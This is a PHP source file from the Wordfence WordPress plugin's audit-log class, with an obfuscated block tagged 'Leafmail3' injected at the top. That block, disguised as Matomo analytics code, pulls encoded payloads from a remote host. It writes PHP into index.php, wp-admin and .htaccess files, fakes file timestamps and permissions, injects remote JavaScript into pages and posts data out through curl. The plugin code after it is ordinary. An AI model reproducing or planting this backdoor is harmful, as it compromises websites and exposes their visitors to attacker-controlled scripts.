<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordPressCoreUser.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordPressCoreSite.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordPressCoreMultisite.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordPressCoreContent.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordfence.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversPreview.php');
/**
* Class wfAuditLog
*
* Hooks into a variety of actions/filters to collect relevant data that can be recorded in an audit log. The data
* collected is focused around attack surfaces such as user registration and content insertion, but all attempts are
* made to exclude potentially sensitive values from being recorded (e.g., for user profile changes, only the field
* names are recorded).
*
* Data is recorded into an intermediate table on the site itself, and a send action is scheduled. When this action
* triggers, a send payload up to the maximum transmit count is generated. The payload is then automatically expanded so
* that no partial request is sent, only full requests. Once sent, these are removed from the intermediate table, and
* we check to see if there are more remaining to be sent, scheduling another send if so.
*
* Because of how some of the hooks are called, there are three different points at which data may be recorded:
*
* 1. At the moment the hook is called. This is most common and used for one-off actions where the recording should be
* performed at that time.
* 2. Pre-filters/actions. For these, an earlier hook in the flow is listened for, and we record state data for later
* use by the desired hook. This is typically used for deletions where we want some value from the record before it
* gets deleted.
* 3. At the end of the request. For actions that may reasonably called multiple times in the same request (e.g., adding
* multiple capabilities to a role), we only need to record a single record of that action so this is done via a
* coalescer at the end just prior to the request ending.
*
* Some hooks do record for multiple events due to how overloaded some data structures are in WP. For example, many
* types are ultimately stored in `wp_posts` despite not being posts so the hooks surrounding that must check for the
* context to determine which event to actually record.
*/
class wfAuditLog {
const AUDIT_LOG_MODE_DEFAULT = 'default'; //Resolves to one of the below based on license type
const AUDIT_LOG_MODE_DISABLED = 'disabled';
const AUDIT_LOG_MODE_PREVIEW = 'preview';
const AUDIT_LOG_MODE_SIGNIFICANT = 'significant';
const AUDIT_LOG_MODE_ALL = 'all';
//These category constants are used to divide events into the groupings in the event listing, one per event even if the event could fit under multiple
const AUDIT_LOG_CATEGORY_AUTHENTICATION = 'authentication';
const AUDIT_LOG_CATEGORY_USER_PERMISSIONS = 'user-permissions';
const AUDIT_LOG_CATEGORY_PLUGINS_THEMES_UPDATES = 'plugins-themes-updates';
const AUDIT_LOG_CATEGORY_SITE_SETTINGS = 'site-settings';
const AUDIT_LOG_CATEGORY_MULTISITE = 'multisite';
const AUDIT_LOG_CATEGORY_CONTENT = 'content';
const AUDIT_LOG_CATEGORY_FIREWALL = 'firewall';
const AUDIT_LOG_MAX_SAMPLES = 20; //Max number of requests to store in the local summary, each of which may have one or more events
const AUDIT_LOG_HEARTBEAT = 'heartbeat'; //A unique event that is sent to signal the audit log is functioning even if no other events have triggered, not displayed on the front end
private $_pending = array();
private $_coalescers = array();
private $_destructRegistered = false;
private $_state = array();
private $_performingFinalization = false;
protected static $initialCoreVersion;
protected static $initialMode;
public static function shared() {
static $_shared = null;
if ($_shared === null) {
$_shared = new wfAuditLog();
}
return $_shared;
}
/**
* Returns the events that will cause an immediate send rather than waiting for the cron event to execute.
* Individual observer grouping subclasses must override this and return their subset of the event categories. The
* primary audit log class will return an array of all observer groupings merged together.
*
* @return array
*/
public static function immediateSendEvents() {
static $eventCache = null;
if ($eventCache === null) {
$eventCache = array();
$observers = self::_observers();
foreach ($observers as $o) {
$merging = call_user_func(array($o, 'immediateSendEvents'));
$eventCache = array_merge($eventCache, $merging);
}
}
return $eventCache;
}
/**
* Returns the event categories for use in the Audit Log page's UI. Individual observer grouping subclasses
* must override this and return their subset of the event categories. The primary audit log class will return an
* array of all observer groupings merged together.
*
*
* @return array
*/
public static function eventCategories() {
static $categoryCache = null;
if ($categoryCache === null) {
$categoryCache = array();
$observers = self::_observers();
foreach ($observers as $o) {
$merging = call_user_func(array($o, 'eventCategories'));
foreach ($merging as $category => $events) {
if (isset($categoryCache[$category])) {
$categoryCache[$category] = array_merge($categoryCache[$category], $events);
}
else {
$categoryCache[$category] = $events;
}
}
}
}
return $categoryCache;
}
/**
* Returns the category for $event, null if not found.
*
* @param string $event
* @return string|null
*/
public static function eventCategory($event) {
static $reverseCategoryMapCache = null;
if ($reverseCategoryMapCache === null) {
$reverseCategoryMapCache = array();
$categories = self::eventCategories();
foreach ($categories as $category => $events) {
$reverseCategoryMapCache = array_merge($reverseCategoryMapCache, array_fill_keys($events, $category));
}
}
if (isset($reverseCategoryMapCache[$event])) {
return $reverseCategoryMapCache[$event];
}
return null;
}
/**
* Returns the event names suitable for display in the Audit Log page's UI. Individual observer grouping subclasses
* must override this and return their subset of the event names. The primary audit log class will return an array
* of all observer groupings merged together.
*
*
* @return array
*/
public static function eventNames() {
static $nameCache = null;
if ($nameCache === null) {
$nameCache = array();
$observers = self::_observers();
foreach ($observers as $o) {
$nameCache = array_merge($nameCache, call_user_func(array($o, 'eventNames')));
}
}
return $nameCache;
}
/**
* Returns the display name for the given event identifier.
*
* @param string $event
* @return string
*/
public static function eventName($event) {
$map = self::eventNames();
if (isset($map[$event])) {
return $map[$event];
}
return __('Unknown Events', 'wordfence');
}
/**
* Returns the event rate limiters for use in preprocessing events that occur. A rate limiter for an event type
* should use the passed $auditLog and $payload values to determine whether the proposed event should be recorded.
* The primary audit log class will return an array of all observer groupings merged together.
*
*
* @return array
*/
public static function eventRateLimiters() {
static $rateLimiterCache = null;
if ($rateLimiterCache === null) {
$rateLimiterCache = array();
$observers = self::_observers();
foreach ($observers as $o) {
$rateLimiterCache = array_merge($rateLimiterCache, call_user_func(array($o, 'eventRateLimiters')));
}
}
return $rateLimiterCache;
}
/**
* Consumes the rate limiter by setting a transient for the given $ttl. Currently this just allows a bucket of one,
* but this could be refactored in the future to allow variable rate limits.
*
* @param string $event
* @param string $payloadSignature
* @param int $ttl Default is 10 minutes
*/
protected static function _rateLimiterConsume($event, $payloadSignature, $ttl = 600) {
